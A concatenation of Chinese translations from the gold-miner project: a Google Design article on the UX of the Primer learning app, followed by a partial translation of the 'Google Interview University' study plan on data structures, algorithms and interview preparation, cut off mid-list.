好了,本期节目就到此结束。如果你有什么好的想法,或者什么想说的话,欢迎通过屏幕下方的联系方式联系我。当然欢迎通过这样的[方式](http://twitter.com/ksmandersen)丢硬币丢香蕉打赏并订阅我的文章(大雾)。 下期预告:将继续讲诉 **Swift** 里的点点滴滴,不要走开,下期更精彩 。 ================================================ FILE: TODO/google-design.md ================================================ > * 原文链接 : [Making Learning Easier by Design — Google Design — Medium](https://medium.com/google-design/designing-a-ux-for-learning-ebed4fa0a798#.64ivy5kwl) * 原文作者 : [Sandra Nam](https://medium.com/@snambomb) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [s2dongman(申悦)](https://github.com/s2dongman) * 校对者: [Yves-X](https://github.com/Yves-X)、[boycechang](https://github.com/boycechang)、[achilleo](https://github.com/achilleo) * 状态 : 翻译已完成 # 通过设计让学习变轻松 - Google 的 Primer 团队是如何做用户体验设计的 学习一向是个苦差事,如何在设计上下功夫,让学习变得愉快呢? 说起来容易做起来难。直观上讲,人们通常不会全力以赴地学习新知识。调查显示,仅3%的美国成年人在他们的日常生活中会花费时间去学习。¹ 那么可想而知:尽管大量信息对我们来说触手可及,而所有的新技术都似乎在一夜之间涌出,97%的人丝毫不会为了提升自己而花时间寻求这些新知识。 这就是我们团队在Google打造 [**Primer**](https://www.yourprimer.com/?utm_source=medium&utm_medium=referral&utm_content=2015-10-13-customer-needs&utm_campaign=lesson-launch),时面临的挑战,Primer是一款帮助人们在5分钟之内学习数字营销知识的app。 用户体验是解决这个问题的关键。学习有几个门槛要面对:你需要弄清楚你要学习什么,在哪儿学,以及你想怎么学,然后你需要时间、金钱和精力去跟进。 > **这意味着我们的用户体验设计(UX)需要满足两点:app需要直观和引人入胜,此外还需要克服一切影响用户学习的障碍。** 为了迎接这个挑战,我们考虑了三种用户使用我们app的场景:仪表盘、独立课程以及每节课的活动。 1、仪表盘 仪表盘的作用至关重要,因为这是人们首次打开app看到的界面。我们花了几个月的时间迭代和设计了不同仪表盘的原型,尝试了各种方案:课程包;让用户从3个随机课程中进行挑选;对课程主题相关事件进行地理位置定位;或者为我们合作的专家和品牌制作专属小部件(widgets)。一切皆有可能、方案层出不穷。 ![](https://cdn-images-1.medium.com/max/1200/1*hnTEbP8ArWSMmGdB4O-NVA.png) 早期的仪表盘原型 很明显我们需要一个指导方针,因此我们从用户角度出发。通过调查发现,使用这个应用的用户可以被分为三类: * **被动型**: 他们会四处寻找和浏览。 * **好奇型**: 他们希望学习一些东西,但不知道学什么。 * **主动型**: 他们目标明确,对想学的内容有不止一种想法。 ![](https://cdn-images-1.medium.com/max/1200/1*jjX_yBbyir0ozLe1JKGIUA.png) 最终的仪表盘样式:精选、分类和队列 对于 **被动型**, 我们打造了特色专区,其中展示了5个人们能立刻开始学习的推荐课程。 与此同时,我们让 **好奇型** 用户能方便地通过主题或分类查找课程,其中包括——广告、内容、度量和策略。 此外,对于 **主动型** 用户,我们提供了一个管理工具:队列。他们能在这里生成专属课程列表,还能方便地随意添加和删除课程。 2、课程 app接下来要考虑的就是课程本身。Primer的课程目的是极大程度地消磨时间,用户可以在火车上或孩子看动画时进行学习。 > **但是,学习需要集中力。我们不能让用户心不在焉地阅读课程。** 我们把我们的解决方案命名为“节奏化学习”,每个课程元素——每次滑动、每个卡堆,以及每张插图——都在用户阅读内容时被设计为节奏型向导。 ![](https://cdn-images-1.medium.com/max/600/1*YE7tBa5FHr983s1V5L8inQ.gif) 这种滑动手势让用户在阅读每张卡片时都有一种完成的感觉。挤满了信息的文本文件使人退却,但分解成卡片的课程则让人有操控感。这些卡片3-7张为一组堆叠在一起,一旦最后一张卡片被滑走,另外一组就会重新滑入。每完成一组,就会有个小成就,意味着用户不需要一直等到课程结束才能感到学有所获。 完成时刻,就会展示插图。每张插图就是个小惊喜,让用户在微笑中将学习成果融入生活。尽管将展示插图加入课程创建的过程中会增加额外的工作流,但这也给课程加入了一种幽默和编辑(editorial-ness)的奇妙融合。 3、活动 用户体验设计的第3个,也是最后一个元素就是活动。我们在不同时段设计了三种互动方案:每节课早期的“快速开始(Quick Starts)”;课程中期的“课间互动(Mid-Lesson)”;以及在结束时的“现在就做(Do This Nows)”。 快速开始(Quick Starts)的目的是让用户迅速对课程上手。例如,在搜索广告课程中,用户被要求从一堆衣服中找到条纹袜子。这种“找不同”游戏(Waldo-style activity)说明了(广告)内容在搜索结果顶部出现的价值——搜索结果能够明显区别于其他搜索结果,而不像是隐藏在一堆衣服中的袜子。这种互动不是考试测验,而是能让用户立刻对课程主题产生思考。 ![](https://cdn-images-1.medium.com/max/1200/1*6MNlTTITAbFnkCXB4dIMHQ.png) 在这个“快速开始”中,我们使用了一种“找不同”的游戏方式证明了搜索广告的优点。 就像你想的那样,“课间互动(Mid-Lesson)”出现在课程学习中间出现,中断阅读,并让用户以一种新的形式参与主题互动。在其中一节课中,我们的互动形式是要求用户把程序化媒体购买(programmatic media buying)的拼图从字面上拼在一起。在另外一课,我们把常见意义上的“做或不做”行为重新设计为一种复杂的主题。例如,在解释“移动端用户参与度”上,我们询问用户放弃发送移动推送通知是不是个好主意?结果是显而易见的,而这正是我们想要的。这些互动活动给用户带来自信,并让用户以一种轻松直观的方式获取信息,然后在脑中形成知识体系。 ![](https://cdn-images-1.medium.com/max/1200/1*rJppkYZXcl_cmQo4Q2DV8Q.png) 这个“课间互动拼图”以一种轻松直观的方式解释了一个复杂的概念 最后,现在就做(Do This Nows)功能为用户提供了一种真实的案例,能够让用户立即应用到自己的项目中。你应该从哪里跟踪你网站的数据指标?你准备好程序化购买了么?这么做会让课程感觉更有针对性和目的性。我们相信把课程用于实践是最好的学习方法,即使只是刚起步状态。 ![](https://cdn-images-1.medium.com/max/1200/1*ixTHfyFvdF3ebat4xNTpzQ.png) “现在就做”让用户在填空的过程中提供了一种个性化的体验。 像其他app一样,Primer在生存空间和关注度上面临着激烈竞争。所以说,给用户提供集知识性、趣味性和高效率于一体的体验设计至关重要。 我们的用户体验设计,目的是让学习更有趣——这也是很多人所希望的,他们不想让学习成为一件充满压力的事情。我们希望用户喜欢这样的形式和它的灵活性。学习在以往可能被看做一种义务,而现在,这就是一种每天早上你在等咖啡——无论在上网或在家——或任何5分钟自由时间时都可以很容易做的事。 脚注: > 1) 25岁以上美国成人的数据,来源于劳工统计局“2015美国人时间利用调查”。 ================================================ FILE: TODO/google.interview.university.md ================================================ > * 原文地址:[Google Interview University](https://github.com/jwasham/google-interview-university) * 原文作者:[John Washam](https://github.com/jwasham) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[Aleen](https://github.com/aleen42),[Newton](https://github.com/Newt0n),[bobmayuze](https://github.com/bobmayuze),[Jaeger](https://github.com/laobie),[sqrthree](https://github.com/sqrthree) ## 这是? 这是我为了从 web 开发者(自学、非计算机科学学位)蜕变至 Google 软件工程师所制定的计划,其内容历时数月。 ![白板上编程 ———— 来自 HBO 频道的剧集,“硅谷”](https://dng5l3qzreal6.cloudfront.net/2016/Aug/coding_board_small-1470866369118.jpg) 这一长列表是从 **Google 的指导笔记** 中萃取出来并进行扩展。因此,有些事情你必须去了解一下。我在列表的底部添加了一些额外项,用于解决面试中可能会出现的问题。这些额外项大部分是来自于 Steve Yegge 的“[得到在 Google 工作的机会](http://steve-yegge.blogspot.com/2008/03/get-that-job-at-google.html)”。而在 Google 指导笔记的逐字间,它们有时也会被反映出来。 --- ## 目录 - [这是?](#这是) - [为何要用到它?](#为何要用到它) - [如何使用它](#如何使用它) - [拥有一名 Googler 的心态](#拥有一名-googler-的心态) - [我得到了工作吗?](#我得到了工作吗) - [跟随着我](#跟随着我) - [不要自以为自己足够聪明](#不要自以为自己足够聪明) - [关于 Google](#关于-google) - [相关视频资源](#相关视频资源) - [面试过程 & 通用的面试准备](#面试过程--通用的面试准备) - [为你的面试选择一种语言](#为你的面试选择一种语言) - [在你开始之前](#在你开始之前) - [你所看不到的](#你所看不到的) - [日常计划](#日常计划) - [必备知识](#必备知识) - [算法复杂度 / Big-O / 渐进分析法](#算法复杂度--big-o--渐进分析法) - [数据结构](#数据结构) - [数组(Arrays)](#数组arrays) - [链表(Linked Lists)](#链表linked-lists) - [堆栈(Stack)](#堆栈stack) - [队列(Queue)](#队列queue) - [哈希表(Hash table)](#哈希表hash-table) - [更多的知识](#更多的知识) - [二分查找(Binary search)](#二分查找binary-search) - [按位运算(Bitwise operations)](#按位运算bitwise-operations) - [树(Trees)](#树trees) - [树 —— 笔记 & 背景](#树--笔记--背景) - [二叉查找树(Binary search trees):BSTs](#二叉查找树binary-search-treesbsts) - [堆(Heap) / 优先级队列(Priority Queue) / 二叉堆(Binary Heap)](#堆heap--优先级队列priority-queue--二叉堆binary-heap) - [字典树(Tries)](#字典树tries) - [平衡查找树(Balanced search trees)](#平衡查找树balanced-search-trees) - [N 叉树(K 叉树、M 叉树)](#n-叉树k-叉树m-叉树) - [排序](#排序sorting) - [图(Graphs)](#图graphs) - [更多知识](#更多知识) - [递归](#递归recursion) - [动态规划](#动态规划dynamic-programming) - [组合 & 概率](#组合combinatorics-n-中选-k-个--概率probability) - [NP, NP-完全和近似算法](#np-np-完全和近似算法) - [缓存](#缓存cache) - [进程和线程](#进程processe和线程thread) - [系统设计、可伸缩性、数据处理](#系统设计可伸缩性数据处理) - [论文](#论文) - [测试](#测试) - [调度](#调度) - [实现系统例程](#实现系统例程) - [字符串搜索和操作](#字符串搜索和操作) - [终面](#终面) - [书籍](#书籍) - [编码练习和挑战](#编码练习和挑战) - [当你临近面试时](#当你临近面试时) - [你的简历](#你的简历) - [当面试来临的时候](#当面试来临的时候) - [问面试官的问题](#问面试官的问题) - [当你获得了梦想的职位](#当你获得了梦想的职位) ---------------- 下面的内容是可选的 ---------------- - [附加的学习](#附加的学习) - [Unicode](#unicode) - [字节顺序](#字节顺序) - [Emacs and vi(m)](#emacs-and-vim) - [Unix 命令行工具](#unix-命令行工具) - [信息资源 (视频)](#信息资源-视频) - [奇偶校验位 & 汉明码 (视频)](#奇偶校验位--汉明码-视频) - [系统熵值(系统复杂度)](#系统熵值系统复杂度) - [密码学](#密码学) - [压缩](#压缩) - [网络 (视频)](#网络-视频) - [计算机安全](#计算机安全) - [释放缓存](#释放缓存) - [并行/并发编程](#并行并发编程) - [设计模式](#设计模式) - [信息传输, 序列化, 和队列化的系统](#信息传输-序列化和队列化的系统) - [快速傅里叶变换](#快速傅里叶变换) - [布隆过滤器](#布隆过滤器) - [van Emde Boas 树](#van-emde-boas-树) - [更深入的数据结构](#更深入的数据结构) - [跳表](#跳表) - [网络流](#网络流) - [不相交集 & 联合查找](#不相交集--联合查找) - [快速处理数学](#math-for-fast-processing) - [树堆 (Treap)](#树堆-treap) - [线性规划](#线性规划linear-programming视频) - [几何:凸包(Geometry, Convex hull)](#几何凸包geometry-convex-hull视频) - [离散数学](#离散数学) - [机器学习](#机器学习machine-learning) - [Go 语言](#go-语言) - [一些主题的额外内容](#一些主题的额外内容) - [视频系列](#视频系列) - [计算机科学课程](#计算机科学课程) --- ## 为何要用到它? 我一直都是遵循该计划去准备 Google 的面试。自 1997 年以来,我一直从事于 web 程序的构建、服务器的构建及创业型公司的创办。对于只有着一个经济学学位,而不是计算机科学学位(CS degree)的我来说,在职业生涯中所取得的都非常成功。然而,我想在 Google 工作,并进入大型系统中,真正地去理解计算机系统、算法效率、数据结构性能、低级别编程语言及其工作原理。可一项都不了解的我,怎么会被 Google 所应聘呢? 当我创建该项目时,我从一个堆栈到一个堆都不了解。那时的我,完全不了解 Big-O 、树,或如何去遍历一个图。如果非要我去编写一个排序算法的话,我只能说我所写的肯定是很糟糕。一直以来,我所用的任何数据结构都是内建于编程语言当中。至于它们在背后是如何运作,对此我一概不清楚。此外,以前的我并不需要对内存进行管理,最多就只是在一个正在执行的进程抛出了“内存不足”的错误后,采取一些权变措施。而在我的编程生活中,也甚少使用到多维数组,可关联数组却成千上万。而且,从一开始到现在,我都还未曾自己实现过数据结构。 就是这样的我,在经过该学习计划后,已然对被 Google 所雇佣充满信心。这是一个漫长的计划,以至于花费了我数月的时间。若您早已熟悉大部分的知识,那么也许能节省大量的时间。 ## 如何使用它 下面所有的东西都只是一个概述。因此,你需要由上而下逐一地去处理它。 在学习过程中,我是使用 GitHub 特殊的语法特性 markdown flavor 去检查计划的进展,包括使用任务列表。 - [x] 创建一个新的分支,以使得你可以像这样去检查计划的进展。直接往方括号中填写一个字符 x 即可:[x] [更多关于 Github-flavored markdown 的详情](https://guides.github.com/features/mastering-markdown/#GitHub-flavored-markdown) ## 拥有一名 Googler 的心态 把一个(或两个)印有“[future Googler](https://github.com/jwasham/google-interview-university/blob/master/extras/future-googler.pdf)”的图案打印出来,并用你誓要成功的眼神盯着它。 [![future Googler sign](https://dng5l3qzreal6.cloudfront.net/2016/Oct/Screen_Shot_2016_10_04_at_10_13_24_AM-1475601104364.png)](https://github.com/jwasham/google-interview-university/blob/master/extras/future-googler.pdf) ## 我得到了工作吗? 我还没去应聘。 因为我离完成学习(完成该疯狂的计划列表)还需要数天的时间,并打算在下周开始用一整天的时间,以编程的方式去解决问题。当然,这将会持续数周的时间。然后,我才通过使用在二月份所得到的一个介绍资格,去正式应聘 Google(没错,是二月份时就得到的)。 感谢 JP 的这次介绍。 ## 跟随着我 目前我仍在该计划的执行过程中,如果你想跟随我脚步去学习的话,可以登进我在 [GoogleyAsHeck.com](https://googleyasheck.com/) 上所写的博客。 下面是我的联系方式: - Twitter: [@googleyasheck](https://twitter.com/googleyasheck) - Twitter: [@StartupNextDoor](https://twitter.com/StartupNextDoor) - Google+: [+Googleyasheck](https://plus.google.com/+Googleyasheck) - LinkedIn: [johnawasham](https://www.linkedin.com/in/johnawasham) ![John Washam - Google Interview University](https://dng5l3qzreal6.cloudfront.net/2016/Aug/book_stack_photo_resized_18_1469302751157-1472661280368.png) ## 不要自以为自己足够聪明 - Google 的工程师都是才智过人的。但是,就算是工作在 Google 的他们,仍然会因为自己不够聪明而感到一种不安。 - [天才程序员的神话](https://www.youtube.com/watch?v=0SARbwvhupQ) ## 关于 Google - [ ] 面向学生 —— [Google 的职业生涯:技术开发指导](https://www.google.com/about/careers/students/guide-to-technical-development.html) - [ ] Google 检索的原理: - [ ] [Google 检索的发展史(视频)](https://www.youtube.com/watch?v=mTBShTwCnD4) - [ ] [Google 检索的原理 —— 故事篇](https://www.google.com/insidesearch/howsearchworks/thestory/) - [ ] [Google 检索的原理](https://www.google.com/insidesearch/howsearchworks/) - [ ] [Google 检索的原理 —— Matt Cutts(视频)](https://www.youtube.com/watch?v=BNHR6IQJGZs) - [ ] [Google 是如何改善其检索算法(视频)](https://www.youtube.com/watch?v=J5RZOU6vK4Q) - [ ] 系列文章: - [ ] [Google 检索是如何处理移动设备](https://backchannel.com/how-google-search-dealt-with-mobile-33bc09852dc9) - [ ] [Google 为了寻找大众需求的秘密研究](https://backchannel.com/googles-secret-study-to-find-out-our-needs-eba8700263bf) - [ ] [Google 检索将成为你的下一个大脑](https://backchannel.com/google-search-will-be-your-next-brain-5207c26e4523) - [ ] [Demis Hassabis 的心灵直白](https://backchannel.com/the-deep-mind-of-demis-hassabis-156112890d8a) - [ ] [书籍:Google 公司是如何运作的](https://www.amazon.com/How-Google-Works-Eric-Schmidt/dp/1455582344) - [ ] [由 Google 通告所制作 —— 2016年10月(视频)](https://www.youtube.com/watch?v=q4y0KOeXViI) ## 相关视频资源 部分视频只能通过在 Coursera、Edx 或 Lynda.com class 上注册登录才能观看。这些视频被称为网络公开课程(MOOC)。即便是免费观看,部分课程可能会由于不在时间段内而无法获取。因此,你需要多等待几个月。 很感谢您能帮我把网络公开课程的视频链接转换成公开的视频源,以代替那些在线课程的视频。此外,一些大学的讲座视频也是我所青睐的。 ## 面试过程 & 通用的面试准备 - [ ] 视频: - [ ] [如何在 Google 工作 —— 考生指导课程(视频)](https://www.youtube.com/watch?v=oWbUtlUhwa8&feature=youtu.be) - [ ] [Google 招聘者所分享的技术面试小窍门(视频)](https://www.youtube.com/watch?v=qc1owf2-220&feature=youtu.be) - [ ] [如何在 Google 工作:技术型简历的准备(视频)](https://www.youtube.com/watch?v=8npJLXkcmu8) - [ ] 文章: - [ ] [三步成为 Googler](http://www.google.com/about/careers/lifeatgoogle/hiringprocess/) - [ ] [得到在 Google 的工作机会](http://steve-yegge.blogspot.com/2008/03/get-that-job-at-google.html) - 所有他所提及的事情都列在了下面 - [ ] _(早已过期)_ [如何得到 Google 的一份工作,面试题,应聘过程](http://dondodge.typepad.com/the_next_big_thing/2010/09/how-to-get-a-job-at-google-interview-questions-hiring-process.html) - [ ] [手机设备屏幕的问题](http://sites.google.com/site/steveyegge2/five-essential-phone-screen-questions) - [ ] 附加的(虽然 Google 不建议,但我还是添加在此): - [ ] [ABC:永远都要去编程(Always Be Coding)](https://medium.com/always-be-coding/abc-always-be-coding-d5f8051afce2#.4heg8zvm4) - [ ] [四步成为 Google 里一名没有学位的员工](https://medium.com/always-be-coding/four-steps-to-google-without-a-degree-8f381aa6bd5e#.asalo1vfx) - [ ] [共享白板(Whiteboarding)](https://medium.com/@dpup/whiteboarding-4df873dbba2e#.hf6jn45g1) - [ ] [Google 是如何看待应聘、管理和公司文化](http://www.kpcb.com/blog/lessons-learned-how-google-thinks-about-hiring-management-and-culture) - [ ] [程序开发面试中有效的白板(Whiteboarding)](http://www.coderust.com/blog/2014/04/10/effective-whiteboarding-during-programming-interviews/) - [ ] 震撼开发类面试 第一集: - [ ] [Gayle L McDowell —— 震撼开发类面试(视频)](https://www.youtube.com/watch?v=rEJzOhC5ZtQ) - [ ] [震撼开发类面试 —— 作者 Gayle Laakmann McDowell(视频)](https://www.youtube.com/watch?v=aClxtDcdpsQ) - [ ] 如何在世界四强企业中获得一份工作: - [ ] [“如何在世界四强企业中获得一份工作 —— Amazon、Facebook、Google 和 Microsoft”(视频)](https://www.youtube.com/watch?v=YJZCUhxNCv8) - [ ] [面试 Google 失败](http://alexbowe.com/failing-at-google-interviews/) ## 为你的面试选择一种语言 在这,我就以下话题写一篇短文 —— [重点:为在 Google 的面试选择一种语言](https://googleyasheck.com/important-pick-one-language-for-the-google-interview/) 在大多数公司的面试当中,你可以在编程这一环节,使用一种自己用起来较为舒适的语言去完成编程。但在 Google,你只有三种固定的选择: - C++ - Java - Python 有时你也可以使用下面两种,但需要事先查阅说明。因为,说明中会有警告: - JavaScript - Ruby 你需要对你所选择的语言感到非常舒适且足够了解。 更多关于语言选择的阅读: - http://www.byte-by-byte.com/choose-the-right-language-for-your-coding-interview/ - http://blog.codingforinterviews.com/best-programming-language-jobs/ - https://www.quora.com/What-is-the-best-language-to-program-in-for-an-in-person-Google-interview [在此查看相关语言的资源](programming-language-resources.md) 由于,我正在学习C、C++ 和 Python。因此,在下面你会看到部分关于它们的学习资料。相关书籍请看文章的底部。 ## 在你开始之前 该列表已经持续更新了很长的一段时间,所以,我们的确很容易会对其失去控制。 这里列出了一些我所犯过的错误,希望您不要重滔覆辙。 ### 1. 你不可能把所有的东西都记住 就算我查看了数小时的视频,并记录了大量的笔记。几个月后的我,仍然会忘却其中大部分的东西。所以,我翻阅了我的笔记,并将可回顾的东西制作成抽认卡(flashcard)(请往下看) ### 2. 使用抽认卡 为了解决善忘的问题,我制作了一些关于抽认卡的页面,用于添加两种抽认卡:正常的及带有代码的。每种卡都会有不同的格式设计。 而且,我还以移动设备为先去设计这些网页,以使得在任何地方的我,都能通过我的手机及平板去回顾知识。 你也可以免费制作属于你自己的抽认卡网站: - [抽认卡页面的代码仓库](https://github.com/jwasham/computer-science-flash-cards) - [我的抽认卡数据库](https://github.com/jwasham/computer-science-flash-cards/blob/master/cards-jwasham.db):有一点需要记住的是,我做事有点过头,以至于把卡片都覆盖到所有的东西上。从汇编语言和 Python 的细枝末节,乃至到机器学习和统计都被覆盖到卡片上。而这种做法,对于 Google 的要求来说,却是多余。 **在抽认卡上做笔记:** 若你第一次发现你知道问题的答案时,先不要急着把其标注成“已懂”。你需要做的,是去查看一下是否有同样的抽认卡,并在你真正懂得如何解决问题之前,多问自己几次。重复地问答可帮助您深刻记住该知识点。 ### 3. 回顾,回顾,回顾 我留有一组 ASCII 码表、OSI 堆栈、Big-O 记号及更多的小抄纸,以便在空余的时候可以学习。 每编程半个小时就要休息一下,并去回顾你的抽认卡。 ### 4. 专注 在学习的过程中,往往会有许多令人分心的事占据着我们宝贵的时间。因此,专注和集中注意力是非常困难的。 ## 你所看不到的 由于,这个巨大的列表一开始是作为我个人从 Google 面试指导笔记所形成的一个事件处理列表。因此,有一些我熟悉且普遍的技术在此都未被谈及到: - SQL - Javascript - HTML、CSS 和其他前端技术 ## 日常计划 部分问题可能会花费一天的时间去学习,而部分则会花费多天。当然,有些学习并不需要我们懂得如何实现。 因此,每一天我都会在下面所列出的列表中选择一项,并查看相关的视频。然后,使用以下的一种语言去实现: C —— 使用结构体和函数,该函数会接受一个结构体指针 * 及其他数据作为参数。 C++ —— 不使用内建的数据类型。 C++ —— 使用内建的数据类型,如使用 STL 的 std::list 来作为链表。 Python —— 使用内建的数据类型(为了持续练习 Python),并编写一些测试去保证自己代码的正确性。有时,只需要使用断言函数 assert() 即可。 此外,你也可以使用 Java 或其他语言。以上只是我的个人偏好而已。 为何要在这些语言上分别实现一次? 因为可以练习,练习,练习,直至我厌倦它,并完美地实现出来。(若有部分边缘条件没想到时,我会用书写的形式记录下来并去记忆) 因为可以在纯原生的条件下工作(不需垃圾回收机制的帮助下,分配/释放内存(除了 Python)) 因为可以利用上内建的数据类型,以使得我拥有在现实中使用内建工具的经验(在生产环境中,我不会去实现自己的链表) 就算我没有时间去每一项都这么做,但我也会尽我所能的。 在这里,你可以查看到我的代码: - [C](https://github.com/jwasham/practice-c) - [C++](https://github.com/jwasham/practice-cpp) - [Python](https://github.com/jwasham/practice-python) 你不需要记住每一个算法的内部原理。 在一个白板上写代码,而不要直接在计算机上编写。在测试完部分简单的输入后,到计算机上再测试一遍。 ## 必备知识 - [ ] **计算机是如何处理一段程序:** - [ ] [CPU 是如何执行代码(视频)](https://www.youtube.com/watch?v=42KTvGYQYnA) - [ ] [机器码指令(视频)](https://www.youtube.com/watch?v=Mv2XQgpbTNE) - [ ] **编译器** - [ ] [编译器是如何在 ~1 分钟内工作(视频)](https://www.youtube.com/watch?v=IhC7sdYe-Jg) - [ ] [Hardvard CS50 —— 编译器(视频)](https://www.youtube.com/watch?v=CSZLNYF4Klo) - [ ] [C++(视频)](https://www.youtube.com/watch?v=twodd1KFfGk) - [ ] [掌握编译器的优化(C++)(视频)](https://www.youtube.com/watch?v=FnGCDLhaxKU) - [ ] **浮点数是如何存储的:** - [ ] 简单的 8-bit:[浮点数的表达形式 —— 1(视频 —— 在计算上有一个错误 —— 详情请查看视频的介绍)](https://www.youtube.com/watch?v=ji3SfClm8TU) - [ ] 32 bit:[IEEE754 32-bit 浮点二进制(视频)](https://www.youtube.com/watch?v=50ZYcZebIec) ## 算法复杂度 / Big-O / 渐进分析法 - 并不需要实现 - [ ] [Harvard CS50 —— 渐进表示(视频)](https://www.youtube.com/watch?v=iOq5kSKqeR4) - [ ] [Big O 记号(通用快速教程)(视频)](https://www.youtube.com/watch?v=V6mKVRU1evU) - [ ] [Big O 记号(以及 Omega 和 Theta)—— 最佳数学解释(视频)](https://www.youtube.com/watch?v=ei-A_wy5Yxw&index=2&list=PL1BaGV1cIH4UhkL8a9bJGG356covJ76qN) - [ ] Skiena 算法: - [视频](https://www.youtube.com/watch?v=gSyDMtdPNpU&index=2&list=PLOtl7M3yp-DV69F32zdK7YJcNXpTunF2b) - [幻灯片](http://www3.cs.stonybrook.edu/~algorith/video-lectures/2007/lecture2.pdf) - [ ] [对于算法复杂度分析的一次详细介绍](http://discrete.gr/complexity/) - [ ] [增长阶数(Orders of Growth)(视频)](https://class.coursera.org/algorithmicthink1-004/lecture/59) - [ ] [渐进性(Asymptotics)(视频)](https://class.coursera.org/algorithmicthink1-004/lecture/61) - [ ] [UC Berkeley Big O(视频)](https://youtu.be/VIS4YDpuP98) - [ ] [UC Berkeley Big Omega(视频)](https://youtu.be/ca3e7UVmeUc) - [ ] [平摊分析法(Amortized Analysis)(视频)](https://www.youtube.com/watch?v=B3SpQZaAZP4&index=10&list=PL1BaGV1cIH4UhkL8a9bJGG356covJ76qN) - [ ] [举证“Big O”(视频)](https://class.coursera.org/algorithmicthink1-004/lecture/63) - [ ] 高级编程(包括递归关系和主定理): - [计算性复杂度:第一部](https://www.topcoder.com/community/data-science/data-science-tutorials/computational-complexity-section-1/) - [计算性复杂度:第二部](https://www.topcoder.com/community/data-science/data-science-tutorials/computational-complexity-section-2/) - [ ] [速查表(Cheat sheet)](http://bigocheatsheet.com/) 如果部分课程过于学术性,你可直接跳到文章底部,去查看离散数学的视频以获取相关背景知识。 ## 数据结构 - ### 数组(Arrays) - 实现一个可自动调整大小的动态数组。 - [ ] 介绍: - [数组(视频)](https://www.coursera.org/learn/data-structures/lecture/OsBSF/arrays) - [数组的基础知识(视频)](https://www.lynda.com/Developer-Programming-Foundations-tutorials/Basic-arrays/149042/177104-4.html) - [多维数组(视频)](https://www.lynda.com/Developer-Programming-Foundations-tutorials/Multidimensional-arrays/149042/177105-4.html) - [动态数组(视频)](https://www.coursera.org/learn/data-structures/lecture/EwbnV/dynamic-arrays) - [不规则数组(视频)](https://www.lynda.com/Developer-Programming-Foundations-tutorials/Jagged-arrays/149042/177106-4.html) - [调整数组的大小(视频)](https://www.lynda.com/Developer-Programming-Foundations-tutorials/Resizable-arrays/149042/177108-4.html) - [ ] 实现一个动态数组(可自动调整大小的可变数组): - [ ] 练习使用数组和指针去编码,并且指针是通过计算去跳转而不是使用索引 - [ ] 通过分配内存来新建一个原生数据型数组 - 可以使用 int 类型的数组,但不能使用其语法特性 - 从大小为16或更大的数(使用2的倍数 —— 16、32、64、128)开始编写 - [ ] size() —— 数组元素的个数 - [ ] capacity() —— 可容纳元素的个数 - [ ] is_empty() - [ ] at(index) —— 返回对应索引的元素,且若索引越界则愤然报错 - [ ] push(item) - [ ] insert(index, item) —— 在指定索引中插入元素,并把后面的元素依次后移 - [ ] prepend(item) —— 可以使用上面的 insert 函数,传参 index 为 0 - [ ] pop() —— 删除在数组末端的元素,并返回其值 - [ ] delete(index) —— 删除指定索引的元素,并把后面的元素依次前移 - [ ] remove(item) —— 删除指定值的元素,并返回其索引(即使有多个元素) - [ ] find(item) —— 寻找指定值的元素并返回其中第一个出现的元素其索引,若未找到则返回 -1 - [ ] resize(new_capacity) // 私有函数 - 若数组的大小到达其容积,则变大一倍 - 获取元素后,若数组大小为其容积的1/4,则缩小一半 - [ ] 时间复杂度 - 在数组末端增加/删除、定位、更新元素,只允许占 O(1) 的时间复杂度(平摊(amortized)去分配内存以获取更多空间) - 在数组任何地方插入/移除元素,只允许 O(n) 的时间复杂度 - [ ] 空间复杂度 - 因为在内存中分配的空间邻近,所以有助于提高性能 - 空间需求 = (大于或等于 n 的数组容积)* 元素的大小。即便空间需求为 2n,其空间复杂度仍然是 O(n) - ### 链表(Linked Lists) - [ ] 介绍: - [ ] [单向链表(视频)](https://www.coursera.org/learn/data-structures/lecture/kHhgK/singly-linked-lists) - [ ] [CS 61B —— 链表(视频)](https://www.youtube.com/watch?v=sJtJOtXCW_M&list=PL-XXv-cvA_iAlnI-BQr9hjqADPBtujFJd&index=5) - [ ] [C 代码(视频)](https://www.youtube.com/watch?v=QN6FPiD0Gzo) - 并非看完整个视频,只需要看关于节点结果和内存分配那一部分即可 - [ ] 链表 vs 数组: - [基本链表 Vs 数组(视频)](https://www.coursera.org/learn/data-structures-optimizing-performance/lecture/rjBs9/core-linked-lists-vs-arrays) - [在现实中,链表 Vs 数组(视频)](https://www.coursera.org/learn/data-structures-optimizing-performance/lecture/QUaUd/in-the-real-world-lists-vs-arrays) - [ ] [为什么你需要避免使用链表(视频)](https://www.youtube.com/watch?v=YQs6IC-vgmo) - [ ] 的确:你需要关于“指向指针的指针”的相关知识:(因为当你传递一个指针到一个函数时,该函数可能会改变指针所指向的地址)该页只是为了让你了解“指向指针的指针”这一概念。但我并不推荐这种链式遍历的风格。因为,这种风格的代码,其可读性和可维护性太低。 - [指向指针的指针](https://www.eskimo.com/~scs/cclass/int/sx8.html) - [ ] 实现(我实现了使用尾指针以及没有使用尾指针这两种情况): - [ ] size() —— 返回链表中数据元素的个数 - [ ] empty() —— 若链表为空则返回一个布尔值 true - [ ] value_at(index) —— 返回第 n 个元素的值(从0开始计算) - [ ] push_front(value) —— 添加元素到链表的首部 - [ ] pop_front() —— 删除首部元素并返回其值 - [ ] push_back(value) —— 添加元素到链表的尾部 - [ ] pop_back() —— 删除尾部元素并返回其值 - [ ] front() —— 返回首部元素的值 - [ ] back() —— 返回尾部元素的值 - [ ] insert(index, value) —— 插入值到指定的索引,并把当前索引的元素指向到新的元素 - [ ] erase(index) —— 删除指定索引的节点 - [ ] value_n_from_end(n) —— 返回倒数第 n 个节点的值 - [ ] reverse() —— 逆序链表 - [ ] remove_value(value) —— 删除链表中指定值的第一个元素 - [ ] 双向链表 - [介绍(视频)](https://www.coursera.org/learn/data-structures/lecture/jpGKD/doubly-linked-lists) - 并不需要实现 - ### 堆栈(Stack) - [ ] [堆栈(视频)](https://www.coursera.org/learn/data-structures/lecture/UdKzQ/stacks) - [ ] [使用堆栈 —— 后进先出(视频)](https://www.lynda.com/Developer-Programming-Foundations-tutorials/Using-stacks-last-first-out/149042/177120-4.html) - [ ] 可以不实现,因为使用数组来实现并不重要 - ### 队列(Queue) - [ ] [使用队列 —— 先进先出(视频)](https://www.lynda.com/Developer-Programming-Foundations-tutorials/Using-queues-first-first-out/149042/177122-4.html) - [ ] 